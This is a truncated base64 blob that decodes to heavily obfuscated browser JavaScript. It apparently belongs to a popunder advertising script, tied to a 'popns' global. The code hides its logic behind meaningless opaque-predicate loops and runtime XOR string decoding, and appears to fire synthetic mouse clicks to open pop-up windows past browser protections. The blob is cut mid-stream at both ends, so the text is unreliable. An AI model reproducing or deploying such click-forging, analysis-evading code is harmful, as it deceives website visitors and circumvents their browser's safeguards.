sVDkudG9TdHJpbmcoKS5sZW5ndGgsNjMyMykhPT11OTtUOSsrKXtyZXR1cm4gdGhpcztIOSs9Mjt9aWYodzUuZDEoSDkudG9TdHJpbmcoKSxIOS50b1N0cmluZygpLmxlbmd0aCw2MzczOSkhPT15OSl7cmV0dXJuIHRoaXM7fX0saGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksZzcsTTcsUjc7Zzc9LTM5MDQ0MjA2O003PS0xNjI0Njc4MzI1O1I3PTI7Zm9yKHZhciBKNz0xO3c1LkwxKEo3LnRvU3RyaW5nKCksSjcudG9TdHJpbmcoKS5sZW5ndGgsNTI1MzkpIT09Zzc7SjcrKyl7ZT10aGlzLndlKCk7aT10aGlzLmNpLnVpO1I3Kz0yO31pZih3NS5MMShSNy50b1N0cmluZygpLFI3LnRvU3RyaW5nKCkubGVuZ3RoLDg0NzUzKSE9PU03KXtlPXRoaXMud2UoKTtpPXRoaXMuY2kudWk7fXRyeXsodD1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0oZ3MsZ3UsZ3UseSwxLGlbT2krR3IrVWVdLGlbT2krR3IreG9dLGlbSGMrR3IrVWVdLGlbSGMrR3IreG9dLHl1LHl1LHl1LHl1LDAsbXUpO3RbVW9dPWd1O2VbZ24rR3IrQ2FdKHQpO31jYXRjaCh0KXtLYy5lKHQpO319LFZpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuUGkobzUpO30sU2k6ZnVuY3Rpb24oKXt2YXIgdCxpLG4scixvLHM7cj10aGlzO289NTAwO3M9ZnVuY3Rpb24odCxlKXt2YXIgaSxuO249WGMuYj9lYzpnczsoaT1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0obixndSxndSx5LDEsZVtPaStHcitVZV0sZVtPaStHcit4b10sZVtIYytHcitVZV0sZVtIYytHcit4b10seXUseXUseXUseXUsMCxtdSk7aS5mYz1ndTt0W2duK0dyK0NhXShpKTt9O2l1LlgocmksJHQsZnVuY3Rpb24ocil7dmFyIG8sRjEsZzEsTTE7dzUubzQoNCk7bz1yW3c1LnU0KHNyLEdyLGUpXVswXTtGMT05NTkwNTM3NzY7ZzE9LTE3NzY2NDMwNTc7TTE9Mjtmb3IodmFyIFAxPTE7dzUuZDEoUDEudG9TdHJpbmcoKSxQMS50b1N0cmluZygpLmxlbmd0aCw4NTkzNCkhPT1GMTtQMSsrKXt3NS5vNCgxOCk7dD1yW3c1LnU0KG9zLEpzLEdyKV07dzUuWTQoMTkpO2k9b1t3NS51NChHcixmbyxVZSldO3c1Lm80KDIwKTtuPW9bdzUuYzQoeG8sZm8sR3IpXTtNMSs9Mjt9aWYodzUuTDEoTTEudG9TdHJpbmcoKSxNMS50b1N0cmluZygpLmxlbmd0aCwxMTM5OCkhPT1nMSl7dzUubzQoMjEpO3Q9clt3NS5jNChvcyxKcyxHcildO3c1Llk0KDIyKTtpPW9bdzUuYzQoR3IsVWUsZm8pXTt3NS5vNCg2KTtuPW9bdzUuYzQoR3IseG8sZm8pXTt9dzUubzQoNCk7dD1yW3c1LnU0KG9zLEdyLEpzKV07dzUuWTQoNCk7aT1vW3c1LmM0KGZvLEdyLFVlKV07dzUubzQoNCk7bj1vW3c1LnU0KGZvLEdyLHhvKV07fSxndSk7aXUuWChyaSx2LGZ1bmN0aW9uKGEpe3ZhciBjLHUsaCxTMCxOMCxhMDtTMD0xMTI5ODE1NDEyO04wPS00NTk2NDE3MTE7YTA9Mjtmb3IodmFyIGYwPTE7dzUuZDEoZjAudG9TdHJpbmcoKSxmMC50b1N0cmluZygpLmxlbmd0aCw5MDQxMCkhPT1TMDtmMCsrKXt3NS5vNCg0KTtjPWFbdzUuYzQoc3IsR3IsZSldWzBdO3U9aXUudHQoYSk7aD1yLm10LlllO2EwKz0yO31pZih3NS5MMShhMC50b1N0cmluZygpLGEwLnRvU3RyaW5nKCkubGVuZ3RoLDUxODk1KSE9PU4wKXt3NS5ZNCg2KTtjPWFbdzUudTQoR3IsZSxzcildWzRdO3U9aXUudHQoYSk7aD1yLm10LlllO31kcltGc10oY1tmbytHcitVZV0taSk+PWh8fGRyW0ZzXShjW2ZvK0dyK3hvXS1uKT49aHx8YVtvcytHcitKc10tdD5vfHxyLm10LlllPD0wfHxYYy5odCYmRGlbaXJdKHVbU2MrR3IrbWNdKXx8ci5YZS5paXx8ci5YZS5uaXx8ci5YZS5yaXx8ci5waSgpfHxyLl9pKCl8fCFyLlBpKCl8fCFyLlRpKHUpfHwhci5tdC5OZSYmWmMuUyh1KXx8KHVbU2MrR3IrbWNdPT09T24mJnIuRWUoYSkscyh1LGMpKTt9LGd1KTt9LG1pOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByLG87bz15dTtmb3Iocj0wO3I8dFtwaV07cisrKWlmKHRbcl09PT13dSl7bz1ndTticmVhazt9byYmKGV8fGkpJiYoIXRoaXMuT2koZSx0KXx8IXRoaXMuT2koaSx0KXx8eVtydV1bdW5dJiZ5W3J1XVt1bl1bcGldJiYhdGhpcy5PaShaYy5GKCkseVtydV1bdW5dKSkmJm4oZ3UseXUpO30seGU6e1F0Om11LFM6eXV9LHFlOmZ1bmN0aW9uKCl7dmFyIHQ7dD1aYy54KGFyZ3VtZW50c1swXSk/YXJndW1lbnRzWzBdOmFyZ3VtZW50cztyZXR1cm4gdGhpcy5ubih0LGxjLHRbcGldJiZ0WzBdPT09eXUpO30sd2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBXMSxsMSxjMTtXMT0xMTQ2NjMzOTY5O2wxPTU4MTgzMzU3NjtjMT0yO2Zvcih2YXIgdTE9MTt3NS5kMSh1MS50b1N0cmluZygpLHUxLnRvU3RyaW5nKCkubGVuZ3RoLDY5ODkxKSE9PVcxO3UxKyspe1pjLkcodFtOaV0oR3IrUGUrR3IpKTxlJiZpKGd1LHl1KTtjMSs9Mjt9aWYodzUuZDEoYzEudG9TdHJpbmcoKSxjMS50b1N0cmluZygpLmxlbmd0aCw0ODMyNikhPT1sMSl7WmMuRyh0W05pXShHciVQZSVHcikpPj1lfHxpKGd1LHl1KTt9fSxDaTpmdW5jdGlvbigpe3ZhciByLG8scyxhLGMsdSxoLGYscCxfO2Z1bmN0aW9uIHQoKXt2YXIgdCxlO3c1Lm80KDE3KTtlPVt3NS51NChIbixUdCxHcixFbixHcixDYSxKYSksdzUuYzQoeG4sVHQsR3IsRW4sR3IsQ2EsSmEsdzUubzQoMTcpKSx3NS5jNChKYSxUdCxRYSx3NS5ZNCg0KSksdzUuYzQoQ24sR3IsVXMsbXIsVHQsdzUubzQoMSkpLHc1LnU0KFdlLEdyLHhuLG1yLFR0LHc1Llk0KDEpKV07Zm9yKHQ9MDt0PGVbcGldO3QrKylpZihaYy5sKGVbdF0pKXtyZXR1cm4gS2MuZSh0LFpjLmwoZVt0XSkpLGd1O31yZXR1cm4geXU7fWZ1bmN0aW9uIGkoaSl7dT0yO198fChfPWd1LGlvKGZ1bmN0aW9uKCl7Xz15dTt9LFhjLm90PzUwMDoxNTApLEN1JiYhcC5VZXx8KHI9aXUudHQoaSksbz1aYy5CKHIsT24pLGM9WmMuUyhyKSxyW2FhK0dyK0dpXShsbyk9PT1mdT8oclt4ZV1beHRdPVhpLFpjLlAocikscj1pdS50dChpLGd1KSk6byYmKHM9KHI9bylbYWErR3IrR2ldKFRpKSxhPVpjLk4ociksYz1aYy5TKHIpKSxmLkVpKHIsYyksZi5YZS5paXx8Zi5YZS5uaXx8Zi5YZS5yaXx8aVtVb118fGUoZi5jaS51aVtPXSYmZi5jaS51aVtPXSE9PWlbT10pfHxlKHAuS2UmJiFFdSl8fGUoIWlbSGMrR3IrVWVdJiYhaVtIYytHcit4b10pfHxlKCFYYy5vdCYmIVhjLmcmJnR5cGVvZiBpW3F0XSE9PWdlJiYwIT09aVtxdF0pfHxlKCFYYy5vdCYmIWYuWmUmJihYYy5jdHx8WGMuYnx8WGMudXQpKXx8ZSghWGMub3QmJiFwLkdlJiYoWGMuYnx8WGMudXQpJiZzPT09RmkpfHxlKGYucGkoKSl8fGUoZi5faSgpKXx8ZSghZi5QaSgpKXx8ZSghZi5UaShyKSl8fGUoYyYmIXAuTmUpfHxlKCFwLlJlJiZ0KCkpfHwoZi5BaShpKSxYYy5ldCYmbyYmYSYmZi5FZShpKSxYYy5vdHx8IW98fGN8fChYYy5iJiZzIT09RmkmJlpjLlkoKXx8cC5HZSYmcz09PUZpJiYoWGMuYnx8WGMudXQpKSYmZi5FZShpKSxmLkZpPW11LGYuaGkoKSkpKTt9Zj10aGlzO3A9Zi5tdDtfPXl1O2Z1bmN0aW9uIGUodCl7cmV0dXJuKyt1LHQmJktjLmUodSksdDt9cC5SZXx8IXQoKT8oaD1YYy5kfHxYYy5nP3FhOmVjLGZ1bmN0aW9uKCl7aXUuWChyaSxncyxpLGd1KTtYYy5vdD8oaXUuWChyaSxlYyxuLGd1KSxpdS5YKHJpLHFhLG4sZ3UpKTppdS5YKHJpLGgsbixndSk7fSgpLHRoaXMuU2koKSx0aGlzLmppKCksdGhpcy5MaSgpLHRoaXMuemkoKSx0aGlzLkJpKCkpOktjLmUoeXUpO2Z1bmN0aW9uIG4odCl7cj1vPWM9cz1hPW11OyFYYy5vdCYmdFtIYytHcitVZV0rKFhjLm50PzE3OjE1KT55W1BhK0dyK2ddP3AuUWUmJigocj17fSkuc2Nyb2xsYmFyPWd1LGYuRWkocix5dSksZi5waSgpfHxmLl9pKCl8fCFmLlBpKCl8fGYuaGkoKSk6aSh0KTt9fSxsaTpmdW5jdGlvbih0KXtpZih0aGlzLlhlLmlpfHx0aGlzLlhlLm5pfHx0aGlzLlhlLnJpKXtyZXR1cm4geXU7fXN3aXRjaCh0Lnl0KXtjYXNlIF91Om5ldyBRYy5tZSh0KS5wZSgpO2JyZWFrO2Nhc2UgZHU6bmV3IFFjLmdlKHQpLnBlKCk7YnJlYWs7Y2FzZSBsdTpuZXcgUWMueWUodCkucGUoKTticmVhaztjYXNlIHB1OnRyeXtuZXcoUWMuZHQoKSkodCkucGUoKTt9Y2F0Y2godCl7S2MuZSh0KTt9fXJldHVybiB0LnF0KCksZ3U7fSxqaTpmdW5jdGlvbigpe3ZhciB0LGUsaSxuLHIsbztuPXRoaXM7cj17fTtvPWZ1bmN0aW9uKHQpe2ZvcihlPTA7ZTx0W3BpXTtlKyspe24uTWkodFtlXSk7fX07Q28oZnVuY3Rpb24oKXt2YXIgZTtmb3IodD0wO3Q8bi5tdC4kZVtwaV07dCsrKXtpZihlPW4ubXQuJGVbdF0sKGk9cmlbYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGUpKVtwaV0mJm4ucGkoKXx8IW4uUGkoKSl7cmV0dXJuO310eXBlb2YgcltlXSE9PWdlJiZyW2VdPT09aVtwaV18fG8oaSk7fX0sMWUzKTt9LElpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbixyLG8scyxlOSxqOSxaOTtvPTI7cz15dTtmb3IoZT0wO2U8PW87ZSsrKXtpZigobj1yaVt3citHcitqbitHcitMY10odFtIYytHcitVZV0rZSx0W0hjK0dyK3hvXSkpJiZuW1NjK0dyK21jXT09PXBhK0dyK09uK0dyK0ZjK0dyK1BzK0dyK3BhKXtzPWd1O2JyZWFrO31mb3IoaT0wO2k8PW87aSsrKWlmKChuPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXStlLHRbSGMrR3IreG9dK2kpKSYmbltTYytHcittY109PT1wYStHcitPbitHcitGYytHcitQcytHcitwYSl7cz1ndTticmVhazt9aWYocylicmVhazt9aWYocylmb3Iocz15dSxyPW5bYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGVpKSxlPTA7ZTxyW3BpXTtlKyspaWYoWmMuVShyW2VdKSl7cz1ndTticmVhazt9ZTk9MTI0NjQ2Mzc5O2o5PTE4ODY4MTA5NztaOT0yO2Zvcih2YXIgVTk9MTt3NS5MMShVOS50b1N0cmluZygpLFU5LnRvU3RyaW5nKCkubGVuZ3RoLDU5MDM1KSE9PWU5O1U5Kyspe3JldHVybiBzP246eXU7WjkrPTI7fWlmKHc1LmQxKFo5LnRvU3RyaW5nKCksWjkudG9TdHJpbmcoKS5sZW5ndGgsNDQ5MzkpIT09ajkpe3JldHVybiBzP246eXU7fX0sRGk6ZnVuY3Rpb24oKXtpZighdGhpcy5YZS5laSl7dGhpcy5YZS5laT1ndTt0cnl7dGhpcy52aSgpO3RoaXMuYmkoKTt9Y2F0Y2godCl7fUtjLmUoW3RoaXMuWGUubmk/MDoxLHRoaXMuWGUucmk/MDoxLHRoaXMuWGUueGldW05pXShHcikpO319LFhlOnt0aTp5dSxuaTpndSxlaTp5dSxvaTowLHJpOmd1LHNpOjAsaWk6eXV9LG5uOmZ1bmN0aW9uKHQsZSxpKXtmb3IodmFyIG4scj0wLG89ZT09PVJuP3RoaXMubXQuSmU6dGhpcy5tdC5xZTtpJiZvW3BpXTspe29bQnNdKCk7fWZvcig7cjx0W3BpXTtyKyspe3R5cGVvZihuPXRbcl0pPT09VGM/b1tNcl0obik6dHlwZW9mIG49PT1hciYmdHlwZW9mIG5bd2ErR3IrbWNdPT09VGMmJm9bTXJdKG4pO31yZXR1cm4gdGhpczt9LEppOmZ1bmN0aW9uKCl7dmFyIHkxLEgxLHYxLHQsZTt5MT0xNzAzNzYyNDUyO0gxPTEyMTk1OTkwMzk7djE9Mjtmb3IodmFyIEUxPTE7dzUuZDEoRTEudG9TdHJpbmcoKSxFMS50b1N0cmluZygpLmxlbmd0aCwzODk3NykhPT15MTtFMSsrKXtlPTY7Zm9yKHRoaXMuZmk9W107ZT49dGhpcy5XZVtwaV07ZS0tKXsodD10aGlzLldlW2VdKS5MdCgpfHx0aGlzLmZpW01yXSh0KTt9djErPTI7fWlmKHc1LmQxKHYxLnRvU3RyaW5nKCksdjEudG9TdHJpbmcoKS5sZW5ndGgsMjE2MzkpIT09SDEpe2U9MTtmb3IodGhpcy5maT1bXTtlPnRoaXMuV2VbcGldO2UrKyl7KHQ9dGhpcy5XZVtlXSkuTHQoKSYmdGhpcy5maVtNcl0odCk7fX1lPTA7Zm9yKHRoaXMuZmk9W107ZTx0aGlzLldlW3BpXTtlKyspeyh0PXRoaXMuV2VbZV0pLkx0KCkmJnRoaXMuZmlbTXJdKHQpO31yZXR1cm4gdGhpcy5maTt9LGRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuY2kudWk7fX07aXUuWCh5LFN0LGZ1bmN0aW9uKCl7dmFyIFg3LEI3LFM3O1g3PTIwMTA5MDA5MDY7Qjc9LTE2OTQwNjQ1NTI7Uzc9Mjtmb3IodmFyIGE3PTE7dzUuTDEoYTcudG9TdHJpbmcoKSxhNy50b1N0cmluZygpLmxlbmd0aCwxNDk3OSkhPT1YNzthNysrKXtFdT0hMTtTNys9Mjt9aWYodzUuZDEoUzcudG9TdHJpbmcoKSxTNy50b1N0cmluZygpLmxlbmd0aCw2MjI0OCkhPT1CNyl7RXU9IXt9O31FdT1vNTt9KTtpbyhmdW5jdGlvbigpe3c1Lm80KDE1KTtLYy5lKHc1LnU0KFNpLFllLEdyLFR0LFllLE0sR3IsWWUsUWUsT3QsQW8pKTt3NS5vNCg0KTtLYy5lKHc1LmM0KHhhLFZ0LEdyKSxvdSk7dzUuWTQoNCk7S2MuZSh3NS5jNChxaSxWdCxHciksc3UpO3c1Lm80KDQpO0tjLmUodzUudTQoRXMsVnQsR3IpLGF1KTt9LDEwKTt5W3J1XT15W3J1XXx8ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG87cj17fTtvPVpjLnAoW1trbytHcitSYStHcitudCxbR2MsR2MuaV1dLFtKbixzdV0sW0d0LG91XSxbWW8rR3IraXMsYXVdLFt6YSxbR2MsR2MuWGkscl1dLFthYStHcitJaSxbR2MsR2MuWmldXSxbYWErR3IrUStHcitiYSxbR2MsR2MuWWldXSxbYWErR3IrX28rR3IrYmEsW0djLEdjLktpXV0sW3crR3IrQ24sW0djLEdjLk1pXV0sW0huLFtHYyxHYy5lbixyXV0sW0duLFtHYyxHYy5oaSxyXV0sW2VzLFtHYyxHYy5HaSxyXV0sW2xjK0dyK2JhLFtHYyxHYy5xZSxyXV0sW1JuK0dyK2JhLFtHYyxHYy5KZSxyXV0sW2FhK0dyK2h0K0dyK0NuLFtHYyxHYy53ZV1dLFthYStHcitubitHcitabyxbR2MsR2MuJGldXSxbYWErR3IreWUrR3IrWm8sW0djLEdjLlZpXV0sW0JhK0dyK3llLFtHYyxHYy5QaV1dLFtrbytHcitkdCtHcitKZSxbR2MsR2MucGldXSxbYWErR3IrVXQrR3IramUrR3IrQmksW0djLEdjLlFpXV0sW2FhK0dyK1V0K0dyK0NhLFtHYyxHYy5kaV1dLFt6aSxbR2MsR2MuTmldXSxbYWErR3IrXyxbR2MsR2MuVWldXSxbRm8rR3IrXyxbR2MsR2MuUmldXSxbaGErVHQrT28sW0tjLEtjLmVdXSxbaGErVHQrRyxbS2MsS2Mucl1dLFtPYStUdCtsaSxbdHUsdHUuYV1dLFtPYStUdCthYSxbdHUsdHUuY11dLFtPYStUdCt4bixbdHUsdHUudV1dLFt0aStUdCtrbytHcitkaSxbZXUsZXUuc11dLFt0aStUdCtsaSxbZXUsZXUuYV1dLFt0aStUdCthYSxbZXUsZXUuY11dLFt0aStUdCt4bixbZXUsZXUudV1dLFtjZStUdCtKbixYYy5wdF0sW2NlK1R0K0lyK0dyK3FpLFhjLmZ0XSxbY2UrVHQra28rR3IrQ3MsWGMuaXRdLFtjZStUdCtrbytHcitYbyxYYy5udF0sW2NlK1R0K2tvK0dyK01hLFhjLm1dLFtjZStUdCtrbytHcit2YStHcitmYytHcit0YyxYYy5ldF0sW2NlK1R0K2tvK0dyK0JuLFhjLnJ0XSxbY2UrVHQra28rR3Irdm4sWGMub3RdLFtjZStUdCtrbytHcitoZSxYYy5zdF0sW2NlK1R0K2tvK0dyK3l0LFhjLmF0XSxbY2UrVHQra28rR3IrZ2MsWGMuYl0sW2NlK1R0K2tvK0dyK0luLFhjLmRdLFtjZStUdCtrbytHcitGYSxYYy5odF0sW2NlK1R0K2tvK0dyK3ZhK0dyK1BzLFhjLmddLFtjZStUdCtrbytHcitjcyxYYy5jdF0sW2NlK1R0K2tvK0dyK0VvLFhjLnV0XSxbY2UrVHQrSm4rR3IrdXQsW1hjLFhjLkpdXSxbY2UrVHQrYW8rR3IrZGksW1hjLFhjLmx0XV0sW0NhK1R0K2xjK0dyK3FzLFtpdSxpdS5LXV0sW0NhK1R0K2xjLFtpdSxpdS5YXV0sW0NhK1R0K2xhLFtpdSxpdS5aXV0sW0NhK1R0K2FhK0dyK3luLFtpdSxpdS50dF1dLFtLZStUdCtrbytHcit2ZStHciskZSxbWmMsWmMud11dLFtLZStUdCtKbitHcit1dCxbWmMsWmMuSl1dLFtLZStUdCtvcyxbWmMsWmMuR11dLFtLZStUdCt3byxbWmMsWmMueV1dLFtLZStUdCtKaSxbWmMsWmMuJF1dLFtLZStUdCtVcytHcitDbixbWmMsWmMuel1dLFtLZStUdCt4bitHcitDbixbWmMsWmMuUF1dLFtLZStUdCthYStHcitVaSxbWmMsWmMuQl1dLFtLZStUdCtEZStHcitZaSxbWmMsWmMuSF1dXSk7Zm9yKGUgaW4gbylpZih5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShvLGUpKXtmb3Iobj1lW0NyXShHcitUdCtHciksdD1yLGk9MDtpPG5bcGldLTE7aSsrKXt0eXBlb2YgdFtuW2ldXT09PWdlJiYodFtuW2ldXT17fSk7dD10W25baV1dO310W25bbltwaV0tMV1dPWZ1bmN0aW9uKHQsZSl7cmV0dXJuIFpjLngodFtlXSk/MT09PXRbZV1bcGldP3RbZV1bMF06ZnVuY3Rpb24oKXtyZXR1cm4gMj09PXRbZV1bcGldP3RbZV1bMV1bb2FdKHRbZV1bMF0sYXJndW1lbnRzKToodFtlXVsxXVtvYV0odFtlXVswXSxhcmd1bWVudHMpLHRbZV1bMl0pO306dFtlXTt9KG8sZSk7fXJldHVybiByO30oKTt9KHQucG9wbnN8fHpjK0dyK1VjK0dyK09jLHQsdFtFaV0sdFtPaV0sdFttcl0sdFtyb10sdFtibl0sdFtObl0sdFtDb10sdFtyaStHcitpb10sdFtsaStHcitZaV0sdFtNaStHcitZaV0sdFtsaStHcitBaV0sdFtNaStHcitBaV0sdFtMdCtHcit0YytHcitmYytHcitndF0sdFt5K0dyK1J0XSx0W2tvK0dyK3lpK0dyK2d0XSx0W2lzXSx0W1hlK0dyK1ZyK0dyK0dzK0dyK3ZhK0dyK1VyXSx0W2RyXSk7fSh3aW5kb3cpO2Y1eXkuSD1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC55PT09J2Z1bmN0aW9uJz9mNXl5LkwueS5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwueTt9O2Y1eXkuVz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Y1eXkuZz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC5PPT09J2Z1bmN0aW9uJz9mNXl5LkwuTy5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwuTzt9O2Y1eXkuZj1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Z1bmN0aW9uIGY1eXkoKXt9ZjV5eS5CPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5MLnk9PT0nZnVuY3Rpb24nP2Y1eXkuTC55LmFwcGx5KGY1eXkuTCxhcmd1bWVudHMpOmY1eXkuTC55O307ZjV5eS5SPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5JPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5MPWZ1bmN0aW9uKEQpe3JldHVybnt5OmZ1bmN0aW9uKCl7dmFyIEcsZD1hcmd1bWVudHM7c3dpdGNoKEQpe2Nhc2UgMjpHPWRbMF0qZFsxXTticmVhaztjYXNlIDA6Rz1kWzBdfGRbMV07YnJlYWs7Y2FzZSAxOkc9ZFsxXS1kWzBdO2JyZWFrO31yZXR1cm4gRzt9LE86ZnVuY3Rpb24oVil7RD1WO319O30oKTtmNXl5Lno9ZnVuY3Rpb24gKCl7cmV0dXJuIHR5cGVvZiBmNXl5LkwuTz09PSdmdW5jdGlvbic/ZjV5eS5MLk8uYXBwbHkoZjV5eS5MLGFyZ3VtZW50cyk6ZjV5eS5MLk87fTtmNXl5LkM9ZnVuY3Rpb24oKXt2YXIgUT0yO3doaWxlKFEhPT0xKXtzd2l0Y2goUSl7Y2FzZSAyOnJldHVybnt2OmZ1bmN0aW9uKFUpe3ZhciBiPTI7d2hpbGUoYiE9PTE0KXtzd2l0Y2goYil7Y2FzZSAyOnZhciBLPScnLGw9ZGVjb2RlVVJJKCJ0JTExa2JsYyU3RCUwNmhiZGxtbDYhJTNDJTNDKyU1QmNkLTo1JTVENyg4Jy8lNUJ3LzI4bWolM0M4KTA3YiolMUMyJTI1bSUwN3ElN0RvYmslMTh3JTdDc2RtaDcpKSUyMipaMmQlMTgtNUErKS5vbXMlMTUlMjUlM0UwKyU1QiUzQyUxMXUlMjA2TXk/KScsSy1kJTNFOSxLMi00OyUyMCUwNjojMCU3RDUlNUM6IzMya0s2IXU5Kks4JTIwNTo2JTVDcSUxRiUzRScsWC1sMCUyMDYlNUN5Ljh1KUc4KDgxZUolM0MqMiclMjAlMDg1JTI1JTNFMCslNUIlM0NsOyUzQylNcWIxOiZJNSIpO2I9MTticmVhaztjYXNlIDk6Sys9U3RyaW5nLmZyb21DaGFyQ29kZShsLmNoYXJDb2RlQXQoWSleVS5jaGFyQ29kZUF0KGspKTtiPTg7YnJlYWs7Y2FzZSAxOnZhciBZPTAsaz0wO2I9NTticmVhaztjYXNlIDU6Yj1ZPGwubGVuZ3RoPzQ6NzticmVhaztjYXNlIDM6az0wO2I9OTticmVhaztjYXNlIDg6WSsrLGsrKztiPTU7YnJlYWs7Y2FzZSA0OmI9az09PVUubGVuZ3RoPzM6OTticmVhaztjYXNlIDc6Sz1LLnNwbGl0KCcoJyk7cmV0dXJuIGZ1bmN0aW9uKFApe3ZhciBoPTI7d2hpbGUoaCE9PTEpe3N3aXRjaChoKXtjYXNlIDI6cmV0dXJuIEtbUF07YnJlYWs7fX19O2JyZWFrO319fSgnRShZTF1VJyl9O2JyZWFrO319fSgpOyFmdW5jdGlvbihlLG8sYyl7InVzZSBzdHJpY3QiO3ZhciBUPWY1eXk7dmFyIGksbix0O1QuZygwKTtpPVQuUihULkgoIjgiLDApKTtULnooMCk7bj1bVC5JKFQuSCgnXHgzMVx4MzAnLDApKSxULkkoKyI2IiksVC5SKCsnXHgzMVx4MzQnKSxULlIoKyIxMiIpLFQuUihULkgoIjUiLDAsVC5nKDApKSksVC5JKFQuQigwLCdceDMwJyxULnooMSkpKSxULlIoVC5CKCdceDMxXHgzMScsMCxULnooMCkpKSxULkkoKyIyIildO1QuZygyKTt0PVsrJ1x4MzJceDMwXHgzMVx4MzknLFQuQignXHUwMDM1JywxKSxULkgoJ1x4MzFceDM2JywwLFQuZygwKSldO3RyeXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7Yy5Mb2dnZXIubG9nKGksVC5SKCsnXHgzMScpLG4pO2MuTG9nZ2VyLmxvZyhpLFQuUigiNyItMCksdC5qb2luKFQuSSgnXHgzNCctMCkpKTt9LCsiNTAwIik7VC56KDEpO2Mub2JqZWN0PVtuLFsrIjM2MCIsNDk0LDM5MSwrIjMxMiIsVC5CKDAsIjMxMiIpLFQuSCgiMzY1IiwwLFQuZygwKSksKydceDM0XHgzMFx4MzQnLFQuSCgiMzAwIiwwLFQuZygwKSksKydceDMzXHgzNlx4MzBceDMwXHgzMScsVC5IKDAsJ1x4MzNceDM5XHgzNVx4MzJceDMyJyxULmcoMSkpLFQuQigiMTg3NzEiLDAsVC56KDApKSwrIjM0OTQ4IiwxNjU0MSwyOTU3MSwrJ1x4MzVceDMxXHgzN1x4MzFceDM5JywzMzkwOCxULkgoIjc4ODQwIiwwLFQuZygwKSksMTA1OTY0LCsnXHgzOFx4MzRceDM1XHgzNVx4MzUnLFQuSCgiNzI0MjYiLDAsVC5nKDApKSxULkgoJ1x4MzNceDMwXHgzNVx4MzlceDM5JywwLFQuZygwKSksVC5CKCdcdTAwMzRcdTAwMzFcdTAwMzZcdTAwMzJcdTAwMzYnLDAsVC5nKDApKSxULkIoMCwnXHUwMDM4XHUwMDM4XHUwMDMwXHUwMDM4XHUwMDM0JyxULnooMSkpLFQuSCgiNjU0MDkiLDEsVC5nKDIpKSwxNDQwMCxULkgoIjEyODQ0IiwxLFQueigyKSksKydceDM4XHgzNlx4MzBceDMyJyxULkgoJ1x4MzFceDMwXHgzOVx4MzJceDMwJywxLFQuZygyKSksMTM0MTYsVC5IKCdceDMyXHgzNFx4MzhceDMyXHgzMCcsMCxULmcoMCkpLFQuQignXHgzM1x4MzdceDM5XHgzN1x4MzYnLDAsVC56KDApKSwrJ1x4MzVceDMxXHg2NVx4MzMnXSx0LFtULkgoJ1x4MzNceDM2XHgzMicsMCxULmcoMCkpLDQ5NiwrJ1x4MzNceDM5XHgzOScsVC5IKDAsIjczMDkyMyIsVC5nKDEpKSwrJ1x1MDAzMlx1MDAzNVx1MDAzMVx1MDAzMicsVC5IKCI2Mzk4IiwwLFQueigwKSksVC5IKCdcdTAwMzRcdTAwMzFcdTAwMzFcdTAwMzlcdTAwMzFcdTAwMzJcdTAwMzInLDEsVC5nKDIpKSwrJ1x4MzFceDMxXHgzMVx4MzlceDMyJyxULkgoJ1x4MzNceDM0XHgzMlx4MzNceDM2JywwLFQueigwKSksMjQ2MSwzMjU1NywxMDIxMF0sby5jdXJyZW50U2NyaXB0LFQuSCgiMSIsMSxULmcoMikpXTt9Y2F0Y2gobyl7dm9pZCgnXHgzMCcqMSkhPT1lLmNvbnNvbGUmJmUuY29uc29sZS5sb2cmJkZ1bmN0aW9uLmFwcGx5LmNhbGwoZS5jb25zb2xlLmxvZyxlLmNvbnNvbGUsW1QuSSgnXHgzMVx4MzMnfDApXSk7fX0od2luZG93LGRvY3VtZW50LHdpbmRvd1t3aW5kb3cucG9wbnN8fGY1eXkuUigiMyItMCldKTt2YXIgXzB4MTM4Zj1bJ1x4NThceDQ4XHg2M1x4NzInLCdceDQ5XHg1NFx4NDVceDZmXHg2NFx4NDNceDZjXHgzN1x4NGZceDQzXHg0Mlx4NmNceDUwXHg1NFx4NDVceDZmXHg1YVx4NTNceDZjXHgzN1x4NGZceDQzXHg0Mlx4NzVceDUwXHg1OFx4NTFceDc1XHg2Mlx4NzlceDY3XHg2OVx4NjJceDUzXHg0OVx4NzBceDRmXHg3YVx4NTlceDY3XHg2Mlx4NjlceDM0XHg3OVx4NGNceDZkXHg3N1x4MzlceDQ5XHg2ZFx4NzNceDY5XHg0Y1x4ND